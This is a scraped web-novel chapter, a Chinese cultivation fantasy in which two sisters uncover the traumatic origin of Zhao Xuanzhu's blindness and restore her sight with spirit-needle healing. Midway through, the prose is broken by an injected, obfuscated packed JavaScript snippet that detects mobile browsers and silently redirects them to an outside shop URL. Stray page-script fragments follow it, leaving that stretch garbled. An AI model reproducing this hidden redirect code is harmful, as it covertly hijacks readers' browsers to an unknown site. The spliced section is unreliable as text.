文趣网 > 其他小说 > 骨韵凡踪 > 5. 碎星重织
    “璇珠敞开心扉,姐妹们今后可要多去叨扰你了,嘻嘻!”

    燕超然拍下手,握住璇珠的手,语气微转:

    “话到嘴边,便要问你,璇珠,你可愿双眼复明?”

    “啊?这,师姐如此一问,可是已有治愈之法?”赵璇珠猝不及防,胸腔起伏不已。

    燕、孟二女对视一笑,一并回道:“有!”

    “只是,我略观璇珠伤势,猜是有二伤交叠导致双目失明。

    “一伤,来自灵阵威压。

    “另一伤,许是旧伤,但我探查不明,须得璇珠详述一二。”

    孟钦姝即刻接道:

    “璇珠姊,我与师姐闭死关十年,称是为酝酿一剑,实则推演无数愈伤之法法,终试出一方,需以道伤为核心,重新开经铺脉,每日引灵气运行,短则数月,长则三五年即可痊愈。但仅对修为未失者有效。

    “我为治你眼睛,也修成了御气成针之法,可探入眼球,重塑虹瞳,还你清明。但正如师姐所言,你这失明之症,应是那旧伤所致,我需了解一二,才可对症施法。”

    “啊?你们!这都,能治好?”赵璇珠双手捧面,语无伦次,好大一会儿,才平静下来:

    “好吧,这旧伤,我不清楚,许是有一次,我随贤亭倚阵击杀几路邪修,不料遭一元婴境埋伏,身受重击,贤亭便带我撤回。但那重击并无大碍……”

    “不对!”

    孟钦姝斩钉截铁:

    “游丝牵缠流星阵是心老毕生绝学,扛阵者聚众攻防合一,你即便受了元婴重击,也是众修士一同受击。

    “那阵中二百名金丹修士,一记来自元婴的重击,哼哼!”孟钦姝冷笑几声,语气逐渐犀利:

    “就算那元婴引丹自爆,也会被二百人平均承受,且加上此阵还可疏导伤害至护宗大阵,这双阵之下,一个元婴想让你受伤以致失明,绝无可能!”

    燕超然坐到赵璇珠身旁,一臂搂其肩,柔声劝道:“璇珠,此处我三姐妹,也无外人,你尽可如实道来,若有隐情,我们也绝不外传。”

    “璇珠姊,你只需自问,今此余生,是否还愿再看见白大哥?”孟钦姝站起身,肃然质问。

    “我,我如何不愿?只是……”赵璇珠双臂坠膝,不断来回摩挲,紧咬下唇,似一生思量扭结双眉,如鲠在喉,无语凝噎。

    “难道,”孟钦姝坐了过去,与燕超然一左一右,把赵璇珠搂在中间,“难道此伤,与白大哥有关?”

    “啊!”赵璇珠颤声娇吟,忽然伏案痛哭。燕、孟二女轻抚其背,互相对视一眼,皆是蹙眉摇头。

    待哭声渐稀,只呜咽抽泣,赵璇珠双手抱肩,摸住二女的手,深吸一口气,语气平稳,似镜湖游帆,暗夜枭行:

    “这伤,的确是贤亭所致。”

    “嘶——”燕、孟二女睁目对视,并未出言。

    “诸位皆知他险些走火入魔,被行之打晕,送出了灵阵,此后一直昏迷,直到战后才醒来。唉!”赵璇珠止言,下唇颤抖,即刻咬住,血纹于眉间集结,又铺开。她双手捂脸,再次深吸一口气,终于打开双手:

    “其实,他那日所守阵眼灵气势微,心老命其下阵休整。他却非要与行之竞逐守阵时长,偷偷燃血强撑,谎称无碍,终致走火入魔。

    “我距他最近,观其状,似已进魔障,也慌张失了神,忘了知会左右同门,便只身前去解救。当时正值凶险,有强敌聚众冲阵,他双目漆黑,已认不出我,将我击倒,制于地上,还要……还要杀我。”

    赵璇珠突然浑身颤抖,气喘吁吁。燕、孟二女马上合抱住她,嘘声安慰:“慢些讲。”“姊姊,且歇一歇。”

    几滴泪砸在桌面,赵璇珠摇摇头,似下定了决心,继续说:

    “我当时挣扎不过,力竭气尽,心如死灰,却是行之一枪将他扫飞,又制他昏迷,踢他出阵。我这命,的确是行之救的!

    “我受贤亭一击,脖颈又被钳制,这便落下隐伤,服下丹药休整后,自觉无伤无痛,便继续扛阵,撑至最后一役,唉……”

    室内一时寂静,只有璇珠抽了两次鼻子。

    孟钦姝若有所思:“璇珠姊,当时你见白大哥,确信是双目漆黑?”

    “是!我绝不会忘记!”

    “所以,他确是已有入魔之状,而非‘险些’走火入魔。”

    赵璇珠身躯一滞,继而长叹一声,深深点头。

    “我明白了,”孟钦姝站起身,脸色凝重:

    “璇珠姊,你这伤,于肉身无碍,丹药可愈。却是你心有恐惧,伤了神魂,再加上道伤重创,你那恐惧即显化为失明之症。是你,不敢再看见白大哥那副模样,对否?”

    “啊?”

    赵璇珠又一次颤声回应,随即揪心恸哭。孟钦姝却不上前安慰,对燕超然使了个眼色,只管说下去:

    “而你,历经多年,一直把这恐惧藏在心里,从未告诉任何人。白大哥苏醒后,再无入魔之状,你更不愿告诉他当年发生的事。你怕他会自责,对否?

    “但你更怕的,是你永不知他何时会再入魔,对否?

    “惧怕自己的爱人,怕他的触摸,怕他声调的突然变化,怕他离去太久,回来时却是另一个他。

    “你怕他入魔时杀了你却不自知,杀你如草芥,你怕你死于爱人之手,如此死得卑微低贱,你惧怕这般死!”

    孟钦姝疾语连珠,直教璇珠捶胸顿足,似愤且悲,甚至还有羞意如领间针芒,剜脸锈刃,将一个形销骨立的病人钉进烈火炼狱。

    而炼狱中,病人一直惨叫,根本说不出哀求停止的话语。

    燕超然也听得胸腔起伏不已,虽露愁容,却满目凛然,周身漾起微光,运转灵气探查赵璇珠。

    孟钦姝又重复追问几遍“恐惧”,细观赵璇珠面部,见那血纹蠢蠢欲动,增粗增多,丫丫叉叉,颜色逐渐由红转黑。

    “赵璇珠!”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942490|213956||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>孟钦姝一声爆喝,上前将其双眼掰开,露出了那对已泛黑气的琉璃珠。

    “我要你把眼泪都哭干哭净,至我施法结束,乃至七日之内,你都不可再牵动心绪,啼哭落泪,一滴都不行!否则一切前功尽弃!

    “你准备好了,便掐剑诀示意!”那声如劈木裂石,脆厉果敢。

    只见那炼狱中的病人嘴角一撇,仰颔止声,鼻翼微抽,肩头轻颤,一只手倔强升起,那剑诀掐得好似最后一兵倚身而立的战旗。

    燕、孟二女对视颔首,目光冷静且专注。

    “璇珠,你且关注我输在你体内灵气走向,记住这运转之法,此后每日清晨背对初阳修炼,至少运转百次。或数月,道伤即可痊愈。”燕超然坐其身后,出掌贴其下腰两侧:

    “钦姝在为你治眼,定要保持不动,绝不能流泪!”

    孟钦姝双掌悬于眼珠之上,掌心各射出一道游丝微光,御气成针。

    只见这两针灵气探进眼球的瞬间,两股黑气直冲出来,似要交织凝聚,却被洞府内的阵法吸卷消解,无踪可循。

    一股腥臭弥散开来,像是鼬妖抬尾,犀魔喷气。孟钦姝急忙启动阵法祛秽,赵璇珠面堆羞红,正欲开口,却被止住。

    “莫说话!集中精力,调息运气!接下来要痛了!你要忍住!”孟钦姝显然重任在身,无法温言细语。

    燕超然也不轻松,面容凝重,不时双唇紧抿。

    黑气随着血纹的褪去被排尽,那两针灵气尖儿分出无数更细微的绒针,去扎破眼球中所有黑屑。

    孟钦姝紧闭双眼,十指微动,操控那些绒针,用意念重组虹膜瞳孔。

    赵璇珠满面污汗,衣领前襟已然湿透,却不哼一声——与痛苦对抗了一个甲子,如今即将拜别,哼它作甚!

    时光汩汩而逝,孟钦姝头发银丝暗闪,生长覆背部。燕超然已露疲态,吞下丹药振作精神,却还是微微气喘。

    “成了……”终于,孟钦姝长吁一叹,如释重负,及时拿出一副叆叇为赵璇珠戴好,才坐下放松道:

    “璇珠姐,且慢睁眼。我为你戴的叆叇,是助你双目复明的,整整戴足一月,才能摘下来。这期间,绝不可见强光,便是在暗室,恐有火光乍现,也要戴着它,有备无患。

    “现在,你分二十步将眼渐次睁开,切记,不可牵动心绪,喜极而泣!

    “一、二、三、四……”

    洞府外,适逢傍晚,曛黄卧云,橙纱赤练,绒起寒酥,灵籁低吟。

    一只扶霜隼倏忽而至,立于峭岩。其形不过拳大,通体霜色,唯喙赤若丹砂。翎羽如冰刃剖玉,双瞳寒锐似冰魄锁霆。

    那隼向这洞府望了一眼,似疑有同类,欲寻其目对视。

    三女皆向外望。有人见隼,有人见雪,有人见夕阳。

    “我,真的看见了!”“善!”“不可流泪!”

    片刻,那只扶霜隼振翅而起,寒星四溅,破空长啸,裂云远遁。